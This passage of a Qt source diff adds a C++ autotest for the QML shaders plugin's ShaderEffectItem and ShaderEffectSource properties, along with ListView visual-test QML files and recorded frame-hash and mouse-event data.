+#include "../../../../src/imports/shaders/shadereffectitem.h"
+#include "../../../../src/imports/shaders/shadereffectsource.h"
+#include "../../../../src/imports/shaders/shadereffect.h"
+
+static const char qt_default_vertex_code[] =
+ "uniform highp mat4 qt_ModelViewProjectionMatrix;\n"
+ "attribute highp vec4 qt_Vertex;\n"
+ "attribute highp vec2 qt_MultiTexCoord0;\n"
+ "varying highp vec2 qt_TexCoord0;\n"
+ "void main(void)\n"
+ "{\n"
+ "qt_TexCoord0 = qt_MultiTexCoord0;\n"
+ "gl_Position = qt_ModelViewProjectionMatrix * qt_Vertex;\n"
+ "}\n";
+
+static const char qt_default_fragment_code[] =
+ "varying highp vec2 qt_TexCoord0;\n"
+ "uniform lowp sampler2D source;\n"
+ "void main(void)\n"
+ "{\n"
+ "gl_FragColor = texture2D(source, qt_TexCoord0.st);\n"
+ "}\n";
+
+class tst_qmlshadersplugin : public QObject
+{
+ Q_OBJECT
+
+private slots:
+ void initTestCase();
+ void shaderEffectItemAPI();
+ void shaderEffectSourceAPI();
+ void combined();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+void tst_qmlshadersplugin::initTestCase()
+{
+ const char *uri ="Qt.labs.shaders";
+ qmlRegisterType<ShaderEffectItem>(uri, 1, 0, "ShaderEffectItem");
+ qmlRegisterType<ShaderEffectSource>(uri, 1, 0, "ShaderEffectSource");
+}
+
+
+void tst_qmlshadersplugin::shaderEffectItemAPI()
+{
+ // Creation
+ QString componentStr = "import QtQuick 1.0\n"
+ "import Qt.labs.shaders 1.0\n"
+ "ShaderEffectItem {\n"
+ "property variant source\n"
+ "width: 200; height: 300\n"
+ "}";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+
+ QObject *obj = component.create();
+ QTest::qWait(100);
+ QVERIFY(obj != 0);
+
+ // Default values
+ QCOMPARE(obj->property("width").toDouble(), 200.);
+ QCOMPARE(obj->property("height").toDouble(), 300.);
+ QCOMPARE(obj->property("fragmentShader").toString(), QString(""));
+ QCOMPARE(obj->property("vertexShader").toString(), QString(""));
+ QCOMPARE(obj->property("blending").toBool(), true);
+ QCOMPARE(obj->property("meshResolution").toSize(), QSize(1, 1));
+ QCOMPARE(obj->property("visible").toBool(), true);
+
+ // Seting the values
+ QVERIFY(obj->setProperty("fragmentShader", QString(qt_default_fragment_code)));
+ QVERIFY(obj->setProperty("vertexShader", QString(qt_default_vertex_code)));
+ QVERIFY(obj->setProperty("blending", false));
+ QVERIFY(obj->setProperty("meshResolution", QSize(20, 10)));
+ QVERIFY(obj->setProperty("visible", false));
+
+ QCOMPARE(obj->property("fragmentShader").toString(), QString(qt_default_fragment_code));
+ QCOMPARE(obj->property("vertexShader").toString(), QString(qt_default_vertex_code));
+ QCOMPARE(obj->property("blending").toBool(), false);
+ QCOMPARE(obj->property("meshResolution").toSize(), QSize(20, 10));
+ QCOMPARE(obj->property("visible").toBool(), false);
+
+ delete obj;
+}
+
+void tst_qmlshadersplugin::shaderEffectSourceAPI()
+{
+ // Creation
+ QString componentStr = "import QtQuick 1.0\n"
+ "import Qt.labs.shaders 1.0\n"
+ "ShaderEffectSource {}";
+ QDeclarativeComponent shaderEffectSourceComponent(&engine);
+ shaderEffectSourceComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+
+ QObject *obj = shaderEffectSourceComponent.create();
+ QTest::qWait(100);
+ QVERIFY(obj != 0);
+
+ // Default values
+ QCOMPARE(obj->property("sourceRect").toRect(), QRect(0, 0, 0, 0));
+ QCOMPARE(obj->property("textureSize").toSize(), QSize(0, 0));
+ QCOMPARE(obj->property("live").toBool(), true);
+ QCOMPARE(obj->property("hideSource").toBool(), false);
+ QCOMPARE(obj->property("wrapMode").toUInt(), static_cast<unsigned int>(ShaderEffectSource::ClampToEdge));
+
+ // Seting the values
+ componentStr = "import QtQuick 1.0\n"
+ "Item {}";
+ QDeclarativeComponent itemComponent(&engine);
+ itemComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *> (itemComponent.create());
+ QVERIFY(item != 0);
+
+ QVERIFY(obj->setProperty("sourceItem", QVariant::fromValue(item)));
+ QVERIFY(obj->setProperty("sourceRect", QRect(10, 20, 30, 40)));
+ QVERIFY(obj->setProperty("textureSize", QSize(50, 100)));
+ QVERIFY(obj->setProperty("live", false));
+ QVERIFY(obj->setProperty("hideSource", true));
+ QVERIFY(obj->setProperty("wrapMode", static_cast<unsigned int>(ShaderEffectSource::Repeat)));
+
+ QCOMPARE(obj->property("sourceItem"), QVariant::fromValue(item));
+ QCOMPARE(obj->property("sourceRect").toRect(), QRect(10, 20, 30, 40));
+ QCOMPARE(obj->property("textureSize").toSize(), QSize(50, 100));
+ QCOMPARE(obj->property("live").toBool(), false);
+ QCOMPARE(obj->property("hideSource").toBool(), true);
+ QCOMPARE(obj->property("wrapMode").toUInt(), static_cast<unsigned int>(ShaderEffectSource::Repeat));
+
+ delete item;
+ delete obj;
+}
+
+void tst_qmlshadersplugin::combined()
+{
+ QGLFormat format = QGLFormat::defaultFormat();
+ format.setSampleBuffers(false);
+ format.setSwapInterval(1);
+
+ QGLWidget* glWidget = new QGLWidget(format);
+ glWidget->setAutoFillBackground(false);
+
+ QDeclarativeView view;
+ view.setViewportUpdateMode(QGraphicsView::FullViewportUpdate);
+ view.setAttribute(Qt::WA_OpaquePaintEvent);
+ view.setAttribute(Qt::WA_NoSystemBackground);
+ view.setViewport(glWidget);
+ view.setSource(QUrl::fromLocalFile("main.qml"));
+ view.show();
+ QTest::qWait(1000);
+
+ QObject *item = view.rootObject()->findChild<QDeclarativeItem*>("effectItem");
+ QVERIFY(item != 0);
+
+ QObject *src = view.rootObject()->findChild<QDeclarativeItem*>("effectSource");
+ QVERIFY(src != 0);
+
+ QCOMPARE(item->property("source"), QVariant::fromValue(src));
+}
+
+QTEST_MAIN(tst_qmlshadersplugin)
+
+#include "tst_qmlshadersplugin.moc"
diff --git a/tests/auto/declarative/qmlvisual/ListView/basic1.qml b/tests/auto/declarative/qmlvisual/ListView/basic1.qml
new file mode 100644
index 00000000..8c1b56e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/basic1.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "blue"
+ width: 200
+ height: 300
+ id: page
+ ListView {
+ anchors.fill: parent
+ delegate: Rectangle {
+ color: "red"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ model: ListModel {
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/basic2.qml b/tests/auto/declarative/qmlvisual/ListView/basic2.qml
new file mode 100644
index 00000000..9d26c737
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/basic2.qml
@@ -0,0 +1,34 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "blue"
+ width: 200
+ height: 300
+ id: page
+ Component {
+ id: delegate
+ Rectangle {
+ color: "red"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ }
+ ListView {
+ anchors.fill: parent
+ delegate: delegate
+ model: ListModel {
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/basic3.qml b/tests/auto/declarative/qmlvisual/ListView/basic3.qml
new file mode 100644
index 00000000..982df9a6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/basic3.qml
@@ -0,0 +1,32 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "blue"
+ width: 200
+ height: 300
+ id: page
+ ListModel {
+ id: model
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ ListView {
+ anchors.fill: parent
+ model: model
+ delegate: Rectangle {
+ color: "red"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/basic4.qml b/tests/auto/declarative/qmlvisual/ListView/basic4.qml
new file mode 100644
index 00000000..2c5d1e3e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/basic4.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+
+Rectangle {
+ color: "blue"
+ width: 200
+ height: 300
+ id: page
+ ListModel {
+ id: model
+ ListElement {
+ name: "palegoldenrod"
+ }
+ ListElement {
+ name: "lightsteelblue"
+ }
+ }
+ Component {
+ id: delegate
+ Rectangle {
+ color: "red"
+ width: 100
+ height: 100
+ Rectangle {
+ anchors.centerIn: parent
+ width: 60
+ height: 60
+ color: name
+ }
+ }
+ }
+ ListView {
+ anchors.fill: parent
+ model: model
+ delegate: delegate
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic1.0.png b/tests/auto/declarative/qmlvisual/ListView/data/basic1.0.png
new file mode 100644
index 00000000..049d9c8d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic1.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic1.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic1.qml
new file mode 100644
index 00000000..aad4858c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic1.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic1.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic2.0.png b/tests/auto/declarative/qmlvisual/ListView/data/basic2.0.png
new file mode 100644
index 00000000..049d9c8d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic2.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic2.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic2.qml
new file mode 100644
index 00000000..373ad27c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic2.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic2.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic3.0.png b/tests/auto/declarative/qmlvisual/ListView/data/basic3.0.png
new file mode 100644
index 00000000..049d9c8d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic3.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic3.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic3.qml
new file mode 100644
index 00000000..f5dbf65a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic3.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic3.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic4.0.png b/tests/auto/declarative/qmlvisual/ListView/data/basic4.0.png
new file mode 100644
index 00000000..049d9c8d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic4.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/basic4.qml b/tests/auto/declarative/qmlvisual/ListView/data/basic4.qml
new file mode 100644
index 00000000..5e494d13
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/basic4.qml
@@ -0,0 +1,11 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "basic4.0.png"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.0.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.0.png
new file mode 100644
index 00000000..5c0b6a6a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.1.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.1.png
new file mode 100644
index 00000000..5c0b6a6a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.2.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.2.png
new file mode 100644
index 00000000..304aed8b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.3.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.3.png
new file mode 100644
index 00000000..4abc58e0
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.4.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.4.png
new file mode 100644
index 00000000..5c0b6a6a
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.5.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.5.png
new file mode 100644
index 00000000..8d421afa
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.6.png b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.6.png
new file mode 100644
index 00000000..81ea1ff4
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.qml b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.qml
new file mode 100644
index 00000000..de3f49c8
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/ListView/data/enforcerange.qml
@@ -0,0 +1,2119 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "enforcerange.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 48
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 64
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 80
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 96
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 112
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 128
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 144
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 160
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 176
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 192
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 208
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 224
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 240
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 256
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 272
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 288
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 304
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 320
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 336
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 352
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 368
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 384
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 400
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 416
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 432
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 448
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 464
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 480
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 496
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 512
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 528
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 544
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 560
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 576
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 592
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 608
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 624
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 640
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 656
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 672
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 688
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 704
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 720
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 736
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 752
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 768
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 784
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 800
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 816
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 832
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 848
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 864
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 880
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 896
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 912
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 928
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 944
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 960
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 976
+ image: "enforcerange.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1008
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1024
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1040
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1056
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1072
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1088
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1104
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1120
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1136
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1152
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1168
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1184
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1200
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 77; y: 157
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1216
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1232
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Frame {
+ msec: 1248
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 156
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1264
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 77; y: 154
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 76; y: 151
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1280
+ hash: "19c43fcf2875769c9a15f1ce317a0f1e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 75; y: 144
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 74; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1296
+ hash: "c7667b5af9f2ee912abe5879266cb1e0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 131
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 122
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1312
+ hash: "1e762d6ffe1ceb53046d7953645d02d5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 118
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 111
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1328
+ hash: "0d2b7130a84a8efac1cf4fe8a1768231"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 108
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1344
+ hash: "6ef2715c3fd26d50d26fb740afa6dece"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 71; y: 92
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1360
+ hash: "f489b6f951281ff9a981ec046ca5b17d"
+ }
+ Frame {
+ msec: 1376
+ hash: "fd6e7d7db7c4571ee606269fb9680ed9"
+ }
+ Frame {
+ msec: 1392
+ hash: "398a238f59a2edf07870b624b914c81d"
+ }
+ Frame {
+ msec: 1408
+ hash: "fdce64faab7e7e31a229adda47924cd1"
+ }
+ Frame {
+ msec: 1424
+ hash: "8d474956331fdd0c35beb13a06b7c557"
+ }
+ Frame {
+ msec: 1440
+ hash: "f89fed6f7fa07a8320f07a1e68240a7e"
+ }
+ Frame {
+ msec: 1456
+ hash: "940b70f15082ff138579892bb6f20ce9"
+ }
+ Frame {
+ msec: 1472
+ hash: "35ab744ce2a91567dbbd769f9486f870"
+ }
+ Frame {
+ msec: 1488
+ hash: "6b2d32b8f1df871c2c014af8b5d87329"
+ }
+ Frame {
+ msec: 1504
+ hash: "edf3b33b80cca53999779555f9cd6162"
+ }
+ Frame {
+ msec: 1520
+ hash: "180f3cc4ea5ff5b6f9e8be0294732d4e"
+ }
+ Frame {
+ msec: 1536
+ hash: "28e9ca60a873910380b2d22d6b3df565"
+ }
+ Frame {
+ msec: 1552
+ hash: "3bb1e8d69f171f09eb4c6f9914fc9576"
+ }
+ Frame {
+ msec: 1568
+ hash: "0501da09be444df6cee4b19617290317"
+ }
+ Frame {
+ msec: 1584
+ hash: "8ce1ac0163b0353167488aff2879e841"
+ }
+ Frame {
+ msec: 1600
+ hash: "18e53bf6337cf6590fc3c73c00469d8e"
+ }
+ Frame {
+ msec: 1616
+ hash: "0c31ede980d07069f4977d5753d00ddf"
+ }
+ Frame {
+ msec: 1632
+ hash: "0a854a54176c24f0ebbb6cb747dc0ab7"
+ }
+ Frame {
+ msec: 1648
+ hash: "8dba1ebca6f00b7a64a6982fb8c28c50"
+ }
+ Frame {
+ msec: 1664
+ hash: "8d273efc36ba722af4d044e6552c9dcb"
+ }
+ Frame {
+ msec: 1680
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 1696
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 1712
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 1728
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 1744
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 1760
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 1776
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Frame {
+ msec: 1792
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 1808
+ hash: "30eb157c89ad0aeb17fd0012afb9246b"
+ }
+ Frame {
+ msec: 1824
+ hash: "6b317b59e1b0f5b17a6d7d96e745f576"
+ }
+ Frame {
+ msec: 1840
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 1856
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 1872
+ hash: "d4b370ff8c3b66fc8a616dd9b944abd1"
+ }
+ Frame {
+ msec: 1888
+ hash: "674b07dc5b99bf2da93c40d42dc9023d"
+ }
+ Frame {
+ msec: 1904
+ hash: "a4ff6c6c43697808f9ad7387d152cef3"
+ }
+ Frame {
+ msec: 1920
+ hash: "b64810845a97bedf6fe11c043457c197"
+ }
+ Frame {
+ msec: 1936
+ image: "enforcerange.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "87aaa82b96131fed8822e57e226162a0"
+ }
+ Frame {
+ msec: 1968
+ hash: "70b475e88060ead84d05f0ba1b47c139"
+ }
+ Frame {
+ msec: 1984
+ hash: "7eb75e8e83874d52448a7dbf6a0ad29c"
+ }
+ Frame {
+ msec: 2000
+ hash: "b061ee3784fbd4a287758ffd100a623e"
+ }
+ Frame {
+ msec: 2016
+ hash: "81110f17d191f9795a2c57d136e86550"
+ }
+ Frame {
+ msec: 2032
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 2048
+ hash: "090a76cf068a5041ff993f21e6ebd087"
+ }
+ Frame {
+ msec: 2064
+ hash: "30eb157c89ad0aeb17fd0012afb9246b"
+ }
+ Frame {
+ msec: 2080
+ hash: "6b317b59e1b0f5b17a6d7d96e745f576"
+ }
+ Frame {
+ msec: 2096
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 2112
+ hash: "f9fc8467c6dbcb00d1f41a57b550193c"
+ }
+ Frame {
+ msec: 2128
+ hash: "711274e9b6811b4662ac29d813574fb6"
+ }
+ Frame {
+ msec: 2144
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
+ msec: 2160
+ hash: "744227adbdd31be2920a232ea0dbc85d"
+ }
+ Frame {
